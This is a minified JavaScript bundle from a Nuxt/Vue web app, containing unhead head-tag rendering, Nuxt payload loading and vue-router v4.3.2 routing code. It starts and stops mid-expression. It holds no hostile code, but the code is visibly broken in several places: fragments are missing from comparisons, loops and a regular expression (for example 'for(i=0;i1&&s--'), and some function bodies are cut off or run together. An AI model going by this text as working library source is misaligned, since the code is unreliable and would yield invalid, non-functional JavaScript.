n=="number"?n:(e.tag==="meta"?(e.props["http-equiv"]==="content-security-policy"&&(t=-30),e.props.charset&&(t=-20),e.props.name==="viewport"&&(t=-15)):e.tag==="link"&&e.props.rel==="preconnect"?t=20:e.tag in ba&&(t=ba[e.tag]),typeof n=="string"&&n in va?t+va[n]:t)}const jh=[{prefix:"before:",offset:-1},{prefix:"after:",offset:1}],_a=["onload","onerror","onabort","onprogress","onloadstart"],xt="%separator";function Or(e,t,n){if(typeof e!="string"||!e.includes("%"))return e;function r(i){let a;return["s","pageTitle"].includes(i)?a=t.pageTitle:i.includes(".")?a=i.split(".").reduce((l,u)=>l&&l[u]||void 0,t):a=t[i],typeof a<"u"?(a||"").replace(/"/g,'\\"'):!1}let o=e;try{o=decodeURI(e)}catch{}return(o.match(/%(\w+\.+\w+)|%(\w+)/g)||[]).sort().reverse().forEach(i=>{const a=r(i.slice(1));typeof a=="string"&&(e=e.replace(new RegExp(`\\${i}(\\W|$)`,"g"),(l,u)=>`${a}${u}`).trim())}),e.includes(xt)&&(e.endsWith(xt)&&(e=e.slice(0,-xt.length).trim()),e.startsWith(xt)&&(e=e.slice(xt.length).trim()),e=e.replace(new RegExp(`\\${xt}\\s*\\${xt}`,"g"),xt),e=Or(e,{separator:n},n)),e}async function qc(e,t={}){var c;const n=t.document||e.resolvedOptions.document;if(!n||!e.dirty)return;const r={shouldRender:!0,tags:[]};if(await e.hooks.callHook("dom:beforeRender",r),!r.shouldRender)return;const o=(await e.resolveTags()).map(f=>({tag:f,id:Ir.includes(f.tag)?ma(f):f.tag,shouldRender:!0}));let s=e._dom;if(!s){s={elMap:{htmlAttrs:n.documentElement,bodyAttrs:n.body}};for(const f of["body","head"]){const d=(c=n[f])==null?void 0:c.children,h=[];for(const b of[...d].filter(E=>Ir.includes(E.tagName.toLowerCase()))){const E={tag:b.tagName.toLowerCase(),props:await Dc(b.getAttributeNames().reduce((y,m)=>({...y,[m]:b.getAttribute(m)}),{})),innerHTML:b.innerHTML};let A=1,P=Uc(E);for(;P&&h.find(y=>y._d===P);)P=`${P}:${A++}`;E._d=P||void 0,h.push(E),s.elMap[b.getAttribute("data-hid")||ma(E)]=b}}}s.pendingSideEffects={...s.sideEffects||{}},s.sideEffects={};function i(f,d,h){const b=`${f}:${d}`;s.sideEffects[b]=h,delete s.pendingSideEffects[b]}function a({id:f,$el:d,tag:h}){const b=h.tag.endsWith("Attrs");s.elMap[f]=d,b||(["textContent","innerHTML"].forEach(E=>{h[E]&&h[E]!==d[E]&&(d[E]=h[E])}),i(f,"el",()=>{var E;(E=s.elMap[f])==null||E.remove(),delete s.elMap[f]}));for(const[E,A]of Object.entries(h._eventHandlers||{}))d.getAttribute(`data-${E}`)!==""&&((h.tag==="bodyAttrs"?n.defaultView:d).addEventListener(E.replace("on",""),A.bind(d)),d.setAttribute(`data-${E}`,""));Object.entries(h.props).forEach(([E,A])=>{const P=`attr:${E}`;if(E==="class")for(const y of(A||"").split(" ").filter(Boolean))b&&i(f,`${P}:${y}`,()=>d.classList.remove(y)),!d.classList.contains(y)&&d.classList.add(y);else if(E==="style")for(const y of(A||"").split(";").filter(Boolean)){const[m,...v]=y.split(":").map(_=>_.trim());i(f,`${P}:${y}:${m}`,()=>{d.style.removeProperty(m)}),d.style.setProperty(m,v.join(":"))}else d.getAttribute(E)!==A&&d.setAttribute(E,A===!0?"":String(A)),b&&i(f,P,()=>d.removeAttribute(E))})}const l=[],u={bodyClose:void 0,bodyOpen:void 0,head:void 0};for(const f of o){const{tag:d,shouldRender:h,id:b}=f;if(h){if(d.tag==="title"){n.title=d.textContent;continue}f.$el=f.$el||s.elMap[b],f.$el?a(f):Ir.includes(d.tag)&&l.push(f)}}for(const f of l){const d=f.tag.tagPosition||"head";f.$el=n.createElement(f.tag.tag),a(f),u[d]=u[d]||n.createDocumentFragment(),u[d].appendChild(f.$el)}for(const f of o)await e.hooks.callHook("dom:renderTag",f,n,i);u.head&&n.head.appendChild(u.head),u.bodyOpen&&n.body.insertBefore(u.bodyOpen,n.body.firstChild),u.bodyClose&&n.body.appendChild(u.bodyClose),Object.values(s.pendingSideEffects).forEach(f=>f()),e._dom=s,e.dirty=!1,await e.hooks.callHook("dom:rendered",{renders:o})}async function Fh(e,t={}){const n=t.delayFn||(r=>setTimeout(r,10));return e._domUpdatePromise=e._domUpdatePromise||new Promise(r=>n(async()=>{await qc(e,t),delete e._domUpdatePromise,r()}))}function Bh(e){return t=>{var r,o;const n=((o=(r=t.resolvedOptions.document)==null?void 0:r.head.querySelector('script[id="unhead:payload"]'))==null?void 0:o.innerHTML)||!1;return n&&t.push(JSON.parse(n)),{mode:"client",hooks:{"entries:updated":function(s){Fh(s,e)}}}}}const Uh=["templateParams","htmlAttrs","bodyAttrs"],Dh={hooks:{"tag:normalise":function({tag:e}){["hid","vmid","key"].forEach(r=>{e.props[r]&&(e.key=e.props[r],delete e.props[r])});const n=Uc(e)||(e.key?`${e.tag}:${e.key}`:!1);n&&(e._d=n)},"tags:resolve":function(e){const t={};e.tags.forEach(r=>{const o=(r.key?`${r.tag}:${r.key}`:r._d)||r._p,s=t[o];if(s){let a=r==null?void 0:r.tagDuplicateStrategy;if(!a&&Uh.includes(r.tag)&&(a="merge"),a==="merge"){const l=s.props;["class","style"].forEach(u=>{l[u]&&(r.props[u]?(u==="style"&&!l[u].endsWith(";")&&(l[u]+=";"),r.props[u]=`${l[u]} ${r.props[u]}`):r.props[u]=l[u])}),t[o].props={...l,...r.props};return}else if(r._e===s._e){s._duped=s._duped||[],r._d=`${s._d}:${s._duped.length+1}`,s._duped.push(r);return}else if(Yr(r)>Yr(s))return}const i=Object.keys(r.props).length+(r.innerHTML?1:0)+(r.textContent?1:0);if(Ir.includes(r.tag)&&i===0){delete t[o];return}t[o]=r});const n=[];Object.values(t).forEach(r=>{const o=r._duped;delete r._duped,n.push(r),o&&n.push(...o)}),e.tags=n,e.tags=e.tags.filter(r=>!(r.tag==="meta"&&(r.props.name||r.props.property)&&!r.props.content))}}},qh={mode:"server",hooks:{"tags:resolve":function(e){const t={};e.tags.filter(n=>["titleTemplate","templateParams","title"].includes(n.tag)&&n._m==="server").forEach(n=>{t[n.tag]=n.tag.startsWith("title")?n.textContent:n.props}),Object.keys(t).length&&e.tags.push({tag:"script",innerHTML:JSON.stringify(t),props:{id:"unhead:payload",type:"application/json"}})}}},Vh=["script","link","bodyAttrs"],Wh=e=>({hooks:{"tags:resolve":function(t){for(const n of t.tags.filter(r=>Vh.includes(r.tag)))Object.entries(n.props).forEach(([r,o])=>{r.startsWith("on")&&typeof o=="function"&&(e.ssr&&_a.includes(r)?n.props[r]=`this.dataset.${r}fired = true`:delete n.props[r],n._eventHandlers=n._eventHandlers||{},n._eventHandlers[r]=o)}),e.ssr&&n._eventHandlers&&(n.props.src||n.props.href)&&(n.key=n.key||di(n.props.src||n.props.href))},"dom:renderTag":function({$el:t,tag:n}){var r,o;for(const s of Object.keys((t==null?void 0:t.dataset)||{}).filter(i=>_a.some(a=>`${a}fired`===i))){const i=s.replace("fired","");(o=(r=n._eventHandlers)==null?void 0:r[i])==null||o.call(t,new Event(i.replace("on","")))}}}}),Kh=["link","style","script","noscript"],zh={hooks:{"tag:normalise":({tag:e})=>{e.key&&Kh.includes(e.tag)&&(e.props["data-hid"]=e._h=di(e.key))}}},Gh={hooks:{"tags:resolve":e=>{const t=n=>{var r;return(r=e.tags.find(o=>o._d===n))==null?void 0:r._p};for(const{prefix:n,offset:r}of jh)for(const o of e.tags.filter(s=>typeof s.tagPriority=="string"&&s.tagPriority.startsWith(n))){const s=t(o.tagPriority.replace(n,""));typeof s<"u"&&(o._p=s+r)}e.tags.sort((n,r)=>n._p-r._p).sort((n,r)=>Yr(n)-Yr(r))}}},Jh={meta:"content",link:"href",htmlAttrs:"lang"},Qh=e=>({hooks:{"tags:resolve":t=>{var a;const{tags:n}=t,r=(a=n.find(l=>l.tag==="title"))==null?void 0:a.textContent,o=n.findIndex(l=>l.tag==="templateParams"),s=o!==-1?n[o].props:{},i=s.separator||"|";delete s.separator,s.pageTitle=Or(s.pageTitle||r||"",s,i);for(const l of n.filter(u=>u.processTemplateParams!==!1)){const u=Jh[l.tag];u&&typeof l.props[u]=="string"?l.props[u]=Or(l.props[u],s,i):(l.processTemplateParams===!0||["titleTemplate","title"].includes(l.tag))&&["innerHTML","textContent"].forEach(c=>{typeof l[c]=="string"&&(l[c]=Or(l[c],s,i))})}e._templateParams=s,e._separator=i,t.tags=n.filter(l=>l.tag!=="templateParams")}}}),Xh={hooks:{"tags:resolve":e=>{const{tags:t}=e;let n=t.findIndex(o=>o.tag==="titleTemplate");const r=t.findIndex(o=>o.tag==="title");if(r!==-1&&n!==-1){const o=ya(t[n].textContent,t[r].textContent);o!==null?t[r].textContent=o||t[r].textContent:delete t[r]}else if(n!==-1){const o=ya(t[n].textContent);o!==null&&(t[n].textContent=o,t[n].tag="title",n=-1)}n!==-1&&delete t[n],e.tags=t.filter(Boolean)}}},Yh={hooks:{"tags:afterResolve":function(e){for(const t of e.tags)typeof t.innerHTML=="string"&&(t.innerHTML&&["application/ld+json","application/json"].includes(t.props.type)?t.innerHTML=t.innerHTML.replace(/{a.dirty=!0,t.callHook("entries:updated",a)};let o=0,s=[];const i=[],a={plugins:i,dirty:!1,resolvedOptions:e,hooks:t,headEntries(){return s},use(l){const u=typeof l=="function"?l(a):l;(!u.key||!i.some(c=>c.key===u.key))&&(i.push(u),wa(u.mode,n)&&t.addHooks(u.hooks||{}))},push(l,u){u==null||delete u.head;const c={_i:o++,input:l,...u};return wa(c.mode,n)&&(s.push(c),r()),{dispose(){s=s.filter(f=>f._i!==c._i),t.callHook("entries:updated",a),r()},patch(f){s=s.map(d=>(d._i===c._i&&(d.input=c.input=f),d)),r()}}},async resolveTags(){const l={tags:[],entries:[...s]};await t.callHook("entries:resolve",l);for(const u of l.entries){const c=u.resolvedInput||u.input;if(u.resolvedInput=await(u.transform?u.transform(c):c),u.resolvedInput)for(const f of await Hh(u)){const d={tag:f,entry:u,resolvedOptions:a.resolvedOptions};await t.callHook("tag:normalise",d),l.tags.push(d.tag)}}return await t.callHook("tags:beforeResolve",l),await t.callHook("tags:resolve",l),await t.callHook("tags:afterResolve",l),l.tags},ssr:n};return[Dh,qh,Wh,zh,Gh,Qh,Xh,Yh,...(e==null?void 0:e.plugins)||[]].forEach(l=>a.use(l)),a.hooks.callHook("init",a),a}function tg(){return Vc}const ng=bc.startsWith("3");function rg(e){return typeof e=="function"?e():ye(e)}function Zr(e,t=""){if(e instanceof Promise)return e;const n=rg(e);return!e||!n?n:Array.isArray(n)?n.map(r=>Zr(r,t)):typeof n=="object"?Object.fromEntries(Object.entries(n).map(([r,o])=>r==="titleTemplate"||r.startsWith("on")?[r,ye(o)]:[r,Zr(o,r)])):n}const og={hooks:{"entries:resolve":function(e){for(const t of e.entries)t.resolvedInput=Zr(t.input)}}},Wc="usehead";function sg(e){return{install(n){ng&&(n.config.globalProperties.$unhead=e,n.config.globalProperties.$head=e,n.provide(Wc,e))}}.install}function ig(e={}){e.domDelayFn=e.domDelayFn||(n=>yt(()=>setTimeout(()=>n(),0)));const t=Zh(e);return t.use(og),t.install=sg(t),t}const bs=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},vs="__unhead_injection_handler__";function ag(e){bs[vs]=e}function lg(){if(vs in bs)return bs[vs]();const e=Fe(Wc);return e||tg()}function cg(e,t={}){const n=t.head||lg();if(n)return n.ssr?n.push(e,t):ug(n,e,t)}function ug(e,t,n={}){const r=Te(!1),o=Te({});Dn(()=>{o.value=r.value?{}:Zr(t)});const s=e.push(o.value,n);return at(o,a=>{s.patch(a)}),nn()&&(ho(()=>{s.dispose()}),Vl(()=>{r.value=!0}),ql(()=>{r.value=!1})),s}const fg={ui:{primary:"primary-ui"}},dg={nuxt:{buildId:"fcfb490a-2b03-4588-b7b7-c7ebfc74b7f6"},ui:{primary:"green",gray:"cool",colors:["red","orange","amber","yellow","lime","green","emerald","teal","cyan","sky","blue","indigo","violet","purple","fuchsia","pink","rose","primary-dark","secondary","primary-ui","primary"],strategy:"merge"}},pg=fh(fg,dg);function pi(){const e=ve();return e._appConfig||(e._appConfig=Ne(pg)),e._appConfig}const _s=!1,hg=!1,qb={componentName:"NuxtLink"},gg="#__nuxt";let Lr,Kc;function mg(){var t;const e=(t=pi().nuxt)==null?void 0:t.buildId;return Lr=$fetch(li(`builds/meta/${e}.json`)),Lr.then(n=>{Kc=uh(n.matcher)}),Lr}function _o(){return Lr||mg()}async function hi(e){return await _o(),fi({},...Kc.matchAll(e).reverse())}function Ea(e,t={}){const n=bg(e,t),r=ve(),o=r._payloadCache=r._payloadCache||{};return n in o||(o[n]=vg(e).then(s=>s?zc(n).then(i=>i||(delete o[n],null)):(o[n]=null,null))),o[n]}const yg="_payload.json";function bg(e,t={}){var o;const n=new URL(e,"http://localhost");if(n.host!=="localhost"||rn(n.pathname,{acceptRelative:!0}))throw new Error("Payload URL must not include hostname: "+e);const r=t.hash||(t.fresh?Date.now():(o=pi().nuxt)==null?void 0:o.buildId);return ii(ci().app.baseURL,n.pathname,yg+(r?`?${r}`:""))}async function zc(e){const t=fetch(e).then(n=>n.text().then(Gc));try{return await t}catch(n){console.warn("[nuxt] Cannot load payload ",e,n)}return null}async function vg(e=jc().path){if(e=si(e),(await _o()).prerendered.includes(e))return!0;const n=await hi(e);return!!n.prerender&&!n.redirect}let xr=null;async function _g(){if(xr)return xr;const e=document.getElementById("__NUXT_DATA__");if(!e)return{};const t=await Gc(e.textContent||""),n=e.dataset.src?await zc(e.dataset.src):void 0;return xr={...t,...n,...window.__NUXT__},xr}async function Gc(e){return await Rh(e,ve()._payloadRevivers)}function wg(e,t){ve()._payloadRevivers[e]=t}const Ca={NuxtError:e=>vo(e),EmptyShallowRef:e=>en(e==="_"?void 0:e==="0n"?BigInt(0):Gr(e)),EmptyRef:e=>Te(e==="_"?void 0:e==="0n"?BigInt(0):Gr(e)),ShallowRef:e=>en(e),ShallowReactive:e=>lr(e),Ref:e=>Te(e),Reactive:e=>Ne(e)},Eg=Ue({name:"nuxt:revive-payload:client",order:-30,async setup(e){let t,n;for(const r in Ca)wg(r,Ca[r]);Object.assign(e.payload,([t,n]=nr(()=>e.runWithContext(_g)),t=await t,n(),t)),window.__NUXT__=e.payload}}),Cg=[],Sg=Ue({name:"nuxt:head",enforce:"pre",setup(e){const t=ig({plugins:Cg});ag(()=>ve().vueApp._context.provides.usehead),e.vueApp.use(t);{let n=!0;const r=async()=>{n=!1,await qc(t)};t.hooks.hook("dom:beforeRender",o=>{o.shouldRender=!n}),e.hooks.hook("page:start",()=>{n=!0}),e.hooks.hook("page:finish",()=>{e.isHydrating||r()}),e.hooks.hook("app:error",r),e.hooks.hook("app:suspense:resolve",r)}}});/*! * vue-router v4.3.2 * (c) 2024 Eduardo San Martin Morote * @license MIT - */const cn=typeof document<"u";function xg(e){return e.__esModule||e[Symbol.toStringTag]==="Module"}const le=Object.assign;function Bo(e,t){const n={};for(const r in t){const o=t[r];n[r]=nt(o)?o.map(e):e(o)}return n}const Kn=()=>{},nt=Array.isArray,Jc=/#/g,Tg=/&/g,Rg=/\//g,Ag=/=/g,Pg=/\?/g,Qc=/\+/g,kg=/%5B/g,Ig=/%5D/g,Xc=/%5E/g,Og=/%60/g,Yc=/%7B/g,Lg=/%7C/g,Zc=/%7D/g,Mg=/%20/g;function gi(e){return encodeURI(""+e).replace(Lg,"|").replace(kg,"[").replace(Ig,"]")}function Ng(e){return gi(e).replace(Yc,"{").replace(Zc,"}").replace(Xc,"^")}function ws(e){return gi(e).replace(Qc,"%2B").replace(Mg,"+").replace(Jc,"%23").replace(Tg,"%26").replace(Og,"`").replace(Yc,"{").replace(Zc,"}").replace(Xc,"^")}function $g(e){return ws(e).replace(Ag,"%3D")}function Hg(e){return gi(e).replace(Jc,"%23").replace(Pg,"%3F")}function jg(e){return e==null?"":Hg(e).replace(Rg,"%2F")}function rr(e){try{return decodeURIComponent(""+e)}catch{}return""+e}const Fg=/\/$/,Bg=e=>e.replace(Fg,"");function Uo(e,t,n="/"){let r,o={},s="",i="";const a=t.indexOf("#");let l=t.indexOf("?");return a=0&&(l=-1),l>-1&&(r=t.slice(0,l),s=t.slice(l+1,a>-1?a:t.length),o=e(s)),a>-1&&(r=r||t.slice(0,a),i=t.slice(a,t.length)),r=Vg(r??t,n),{fullPath:r+(s&&"?")+s+i,path:r,query:o,hash:rr(i)}}function Ug(e,t){const n=t.query?e(t.query):"";return t.path+(n&&"?")+n+(t.hash||"")}function Sa(e,t){return!t||!e.toLowerCase().startsWith(t.toLowerCase())?e:e.slice(t.length)||"/"}function Dg(e,t,n){const r=t.matched.length-1,o=n.matched.length-1;return r>-1&&r===o&&xn(t.matched[r],n.matched[o])&&eu(t.params,n.params)&&e(t.query)===e(n.query)&&t.hash===n.hash}function xn(e,t){return(e.aliasOf||e)===(t.aliasOf||t)}function eu(e,t){if(Object.keys(e).length!==Object.keys(t).length)return!1;for(const n in e)if(!qg(e[n],t[n]))return!1;return!0}function qg(e,t){return nt(e)?xa(e,t):nt(t)?xa(t,e):e===t}function xa(e,t){return nt(t)?e.length===t.length&&e.every((n,r)=>n===t[r]):e.length===1&&e[0]===t}function Vg(e,t){if(e.startsWith("/"))return e;if(!e)return t;const n=t.split("/"),r=e.split("/"),o=r[r.length-1];(o===".."||o===".")&&r.push("");let s=n.length-1,i,a;for(i=0;i1&&s--;else break;return n.slice(0,s).join("/")+"/"+r.slice(i).join("/")}var or;(function(e){e.pop="pop",e.push="push"})(or||(or={}));var zn;(function(e){e.back="back",e.forward="forward",e.unknown=""})(zn||(zn={}));function Wg(e){if(!e)if(cn){const t=document.querySelector("base");e=t&&t.getAttribute("href")||"/",e=e.replace(/^\w+:\/\/[^\/]+/,"")}else e="/";return e[0]!=="/"&&e[0]!=="#"&&(e="/"+e),Bg(e)}const Kg=/^[^#]+#/;function zg(e,t){return e.replace(Kg,"#")+t}function Gg(e,t){const n=document.documentElement.getBoundingClientRect(),r=e.getBoundingClientRect();return{behavior:t.behavior,left:r.left-n.left-(t.left||0),top:r.top-n.top-(t.top||0)}}const wo=()=>({left:window.scrollX,top:window.scrollY});function Jg(e){let t;if("el"in e){const n=e.el,r=typeof n=="string"&&n.startsWith("#"),o=typeof n=="string"?r?document.getElementById(n.slice(1)):document.querySelector(n):n;if(!o)return;t=Gg(o,e)}else t=e;"scrollBehavior"in document.documentElement.style?window.scrollTo(t):window.scrollTo(t.left!=null?t.left:window.scrollX,t.top!=null?t.top:window.scrollY)}function Ta(e,t){return(history.state?history.state.position-t:-1)+e}const Es=new Map;function Qg(e,t){Es.set(e,t)}function Xg(e){const t=Es.get(e);return Es.delete(e),t}let Yg=()=>location.protocol+"//"+location.host;function tu(e,t){const{pathname:n,search:r,hash:o}=t,s=e.indexOf("#");if(s>-1){let a=o.includes(e.slice(s))?e.slice(s).length:1,l=o.slice(a);return l[0]!=="/"&&(l="/"+l),Sa(l,"")}return Sa(n,e)+r+o}function Zg(e,t,n,r){let o=[],s=[],i=null;const a=({state:d})=>{const h=tu(e,location),b=n.value,E=t.value;let A=0;if(d){if(n.value=h,t.value=d,i&&i===b){i=null;return}A=E?d.position-E.position:0}else r(h);o.forEach(P=>{P(n.value,b,{delta:A,type:or.pop,direction:A?A>0?zn.forward:zn.back:zn.unknown})})};function l(){i=n.value}function u(d){o.push(d);const h=()=>{const b=o.indexOf(d);b>-1&&o.splice(b,1)};return s.push(h),h}function c(){const{history:d}=window;d.state&&d.replaceState(le({},d.state,{scroll:wo()}),"")}function f(){for(const d of s)d();s=[],window.removeEventListener("popstate",a),window.removeEventListener("beforeunload",c)}return window.addEventListener("popstate",a),window.addEventListener("beforeunload",c,{passive:!0}),{pauseListeners:l,listen:u,destroy:f}}function Ra(e,t,n,r=!1,o=!1){return{back:e,current:t,forward:n,replaced:r,position:window.history.length,scroll:o?wo():null}}function em(e){const{history:t,location:n}=window,r={value:tu(e,n)},o={value:t.state};o.value||s(r.value,{back:null,current:r.value,forward:null,position:t.length-1,replaced:!0,scroll:null},!0);function s(l,u,c){const f=e.indexOf("#"),d=f>-1?(n.host&&document.querySelector("base")?e:e.slice(f))+l:Yg()+e+l;try{t[c?"replaceState":"pushState"](u,"",d),o.value=u}catch(h){console.error(h),n[c?"replace":"assign"](d)}}function i(l,u){const c=le({},t.state,Ra(o.value.back,l,o.value.forward,!0),u,{position:o.value.position});s(l,c,!0),r.value=l}function a(l,u){const c=le({},o.value,t.state,{forward:l,scroll:wo()});s(c.current,c,!0);const f=le({},Ra(r.value,l,null),{position:c.position+1},u);s(l,f,!1),r.value=l}return{location:r,state:o,push:a,replace:i}}function nu(e){e=Wg(e);const t=em(e),n=Zg(e,t.state,t.location,t.replace);function r(s,i=!0){i||n.pauseListeners(),history.go(s)}const o=le({location:"",base:e,go:r,createHref:zg.bind(null,e)},t,n);return Object.defineProperty(o,"location",{enumerable:!0,get:()=>t.location.value}),Object.defineProperty(o,"state",{enumerable:!0,get:()=>t.state.value}),o}function tm(e){return e=location.host?e||location.pathname+location.search:"",e.includes("#")||(e+="#"),nu(e)}function nm(e){return typeof e=="string"||e&&typeof e=="object"}function ru(e){return typeof e=="string"||typeof e=="symbol"}const et={path:"/",name:void 0,params:{},query:{},hash:"",fullPath:"/",matched:[],meta:{},redirectedFrom:void 0},ou=Symbol("");var Aa;(function(e){e[e.aborted=4]="aborted",e[e.cancelled=8]="cancelled",e[e.duplicated=16]="duplicated"})(Aa||(Aa={}));function Tn(e,t){return le(new Error,{type:e,[ou]:!0},t)}function dt(e,t){return e instanceof Error&&ou in e&&(t==null||!!(e.type&t))}const Pa="[^/]+?",rm={sensitive:!1,strict:!1,start:!0,end:!0},om=/[.+*?^${}()[\]/\\]/g;function sm(e,t){const n=le({},rm,t),r=[];let o=n.start?"^":"";const s=[];for(const u of e){const c=u.length?[]:[90];n.strict&&!u.length&&(o+="/");for(let f=0;ft.length?t.length===1&&t[0]===80?1:-1:0}function am(e,t){let n=0;const r=e.score,o=t.score;for(;n0&&t[t.length-1]<0}const lm={type:0,value:""},cm=/[a-zA-Z0-9_]/;function um(e){if(!e)return[[]];if(e==="/")return[[lm]];if(!e.startsWith("/"))throw new Error(`Invalid path "${e}"`);function t(h){throw new Error(`ERR (${n})/"${u}": ${h}`)}let n=0,r=n;const o=[];let s;function i(){s&&o.push(s),s=[]}let a=0,l,u="",c="";function f(){u&&(n===0?s.push({type:0,value:u}):n===1||n===2||n===3?(s.length>1&&(l==="*"||l==="+")&&t(`A repeatable param (${u}) must be alone in its segment. eg: '/:ids+.`),s.push({type:1,value:u,regexp:c,repeatable:l==="*"||l==="+",optional:l==="*"||l==="?"})):t("Invalid state to consume buffer"),u="")}function d(){u+=l}for(;a{i(y)}:Kn}function i(c){if(ru(c)){const f=r.get(c);f&&(r.delete(c),n.splice(n.indexOf(f),1),f.children.forEach(i),f.alias.forEach(i))}else{const f=n.indexOf(c);f>-1&&(n.splice(f,1),c.record.name&&r.delete(c.record.name),c.children.forEach(i),c.alias.forEach(i))}}function a(){return n}function l(c){let f=0;for(;f=0&&(c.record.path!==n[f].record.path||!su(c,n[f]));)f++;n.splice(f,0,c),c.record.name&&!Oa(c)&&r.set(c.record.name,c)}function u(c,f){let d,h={},b,E;if("name"in c&&c.name){if(d=r.get(c.name),!d)throw Tn(1,{location:c});E=d.record.name,h=le(Ia(f.params,d.keys.filter(y=>!y.optional).concat(d.parent?d.parent.keys.filter(y=>y.optional):[]).map(y=>y.name)),c.params&&Ia(c.params,d.keys.map(y=>y.name))),b=d.stringify(h)}else if(c.path!=null)b=c.path,d=n.find(y=>y.re.test(b)),d&&(h=d.parse(b),E=d.record.name);else{if(d=f.name?r.get(f.name):n.find(y=>y.re.test(f.path)),!d)throw Tn(1,{location:c,currentLocation:f});E=d.record.name,h=le({},f.params,c.params),b=d.stringify(h)}const A=[];let P=d;for(;P;)A.unshift(P.record),P=P.parent;return{name:E,path:b,params:h,matched:A,meta:gm(A)}}return e.forEach(c=>s(c)),{addRoute:s,resolve:u,removeRoute:i,getRoutes:a,getRecordMatcher:o}}function Ia(e,t){const n={};for(const r of t)r in e&&(n[r]=e[r]);return n}function pm(e){return{path:e.path,redirect:e.redirect,name:e.name,meta:e.meta||{},aliasOf:void 0,beforeEnter:e.beforeEnter,props:hm(e),children:e.children||[],instances:{},leaveGuards:new Set,updateGuards:new Set,enterCallbacks:{},components:"components"in e?e.components||null:e.component&&{default:e.component}}}function hm(e){const t={},n=e.props||!1;if("component"in e)t.default=n;else for(const r in e.components)t[r]=typeof n=="object"?n[r]:n;return t}function Oa(e){for(;e;){if(e.record.aliasOf)return!0;e=e.parent}return!1}function gm(e){return e.reduce((t,n)=>le(t,n.meta),{})}function La(e,t){const n={};for(const r in e)n[r]=r in t?t[r]:e[r];return n}function su(e,t){return t.children.some(n=>n===e||su(e,n))}function mm(e){const t={};if(e===""||e==="?")return t;const r=(e[0]==="?"?e.slice(1):e).split("&");for(let o=0;os&&ws(s)):[r&&ws(r)]).forEach(s=>{s!==void 0&&(t+=(t.length?"&":"")+n,s!=null&&(t+="="+s))})}return t}function ym(e){const t={};for(const n in e){const r=e[n];r!==void 0&&(t[n]=nt(r)?r.map(o=>o==null?null:""+o):r==null?r:""+r)}return t}const bm=Symbol(""),Na=Symbol(""),mi=Symbol(""),iu=Symbol(""),Cs=Symbol("");function $n(){let e=[];function t(r){return e.push(r),()=>{const o=e.indexOf(r);o>-1&&e.splice(o,1)}}function n(){e=[]}return{add:t,list:()=>e.slice(),reset:n}}function Lt(e,t,n,r,o,s=i=>i()){const i=r&&(r.enterCallbacks[o]=r.enterCallbacks[o]||[]);return()=>new Promise((a,l)=>{const u=d=>{d===!1?l(Tn(4,{from:n,to:t})):d instanceof Error?l(d):nm(d)?l(Tn(2,{from:t,to:d})):(i&&r.enterCallbacks[o]===i&&typeof d=="function"&&i.push(d),a())},c=s(()=>e.call(r&&r.instances[o],t,n,u));let f=Promise.resolve(c);e.length<3&&(f=f.then(u)),f.catch(d=>l(d))})}function Do(e,t,n,r,o=s=>s()){const s=[];for(const i of e)for(const a in i.components){let l=i.components[a];if(!(t!=="beforeRouteEnter"&&!i.instances[a]))if(vm(l)){const c=(l.__vccOpts||l)[t];c&&s.push(Lt(c,n,r,i,a,o))}else{let u=l();s.push(()=>u.then(c=>{if(!c)return Promise.reject(new Error(`Couldn't resolve component "${a}" at "${i.path}"`));const f=xg(c)?c.default:c;i.components[a]=f;const h=(f.__vccOpts||f)[t];return h&&Lt(h,n,r,i,a,o)()}))}}return s}function vm(e){return typeof e=="object"||"displayName"in e||"props"in e||"__vccOpts"in e}function $a(e){const t=Fe(mi),n=Fe(iu),r=ce(()=>{const l=ye(e.to);return t.resolve(l)}),o=ce(()=>{const{matched:l}=r.value,{length:u}=l,c=l[u-1],f=n.matched;if(!c||!f.length)return-1;const d=f.findIndex(xn.bind(null,c));if(d>-1)return d;const h=Ha(l[u-2]);return u>1&&Ha(c)===h&&f[f.length-1].path!==h?f.findIndex(xn.bind(null,l[u-2])):d}),s=ce(()=>o.value>-1&&Cm(n.params,r.value.params)),i=ce(()=>o.value>-1&&o.value===n.matched.length-1&&eu(n.params,r.value.params));function a(l={}){return Em(l)?t[ye(e.replace)?"replace":"push"](ye(e.to)).catch(Kn):Promise.resolve()}return{route:r,href:ce(()=>r.value.href),isActive:s,isExactActive:i,navigate:a}}const _m=bt({name:"RouterLink",compatConfig:{MODE:3},props:{to:{type:[String,Object],required:!0},replace:Boolean,activeClass:String,exactActiveClass:String,custom:Boolean,ariaCurrentValue:{type:String,default:"page"}},useLink:$a,setup(e,{slots:t}){const n=Ne($a(e)),{options:r}=Fe(mi),o=ce(()=>({[ja(e.activeClass,r.linkActiveClass,"router-link-active")]:n.isActive,[ja(e.exactActiveClass,r.linkExactActiveClass,"router-link-exact-active")]:n.isExactActive}));return()=>{const s=t.default&&t.default(n);return e.custom?s:Ke("a",{"aria-current":n.isExactActive?e.ariaCurrentValue:null,href:n.href,onClick:n.navigate,class:o.value},s)}}}),wm=_m;function Em(e){if(!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)&&!e.defaultPrevented&&!(e.button!==void 0&&e.button!==0)){if(e.currentTarget&&e.currentTarget.getAttribute){const t=e.currentTarget.getAttribute("target");if(/\b_blank\b/i.test(t))return}return e.preventDefault&&e.preventDefault(),!0}}function Cm(e,t){for(const n in t){const r=t[n],o=e[n];if(typeof r=="string"){if(r!==o)return!1}else if(!nt(o)||o.length!==r.length||r.some((s,i)=>s!==o[i]))return!1}return!0}function Ha(e){return e?e.aliasOf?e.aliasOf.path:e.path:""}const ja=(e,t,n)=>e??t??n,Sm=bt({name:"RouterView",inheritAttrs:!1,props:{name:{type:String,default:"default"},route:Object},compatConfig:{MODE:3},setup(e,{attrs:t,slots:n}){const r=Fe(Cs),o=ce(()=>e.route||r.value),s=Fe(Na,0),i=ce(()=>{let u=ye(s);const{matched:c}=o.value;let f;for(;(f=c[u])&&!f.components;)u++;return u}),a=ce(()=>o.value.matched[i.value]);bn(Na,ce(()=>i.value+1)),bn(bm,a),bn(Cs,o);const l=Te();return at(()=>[l.value,a.value,e.name],([u,c,f],[d,h,b])=>{c&&(c.instances[f]=u,h&&h!==c&&u&&u===d&&(c.leaveGuards.size||(c.leaveGuards=h.leaveGuards),c.updateGuards.size||(c.updateGuards=h.updateGuards))),u&&c&&(!h||!xn(c,h)||!d)&&(c.enterCallbacks[f]||[]).forEach(E=>E(u))},{flush:"post"}),()=>{const 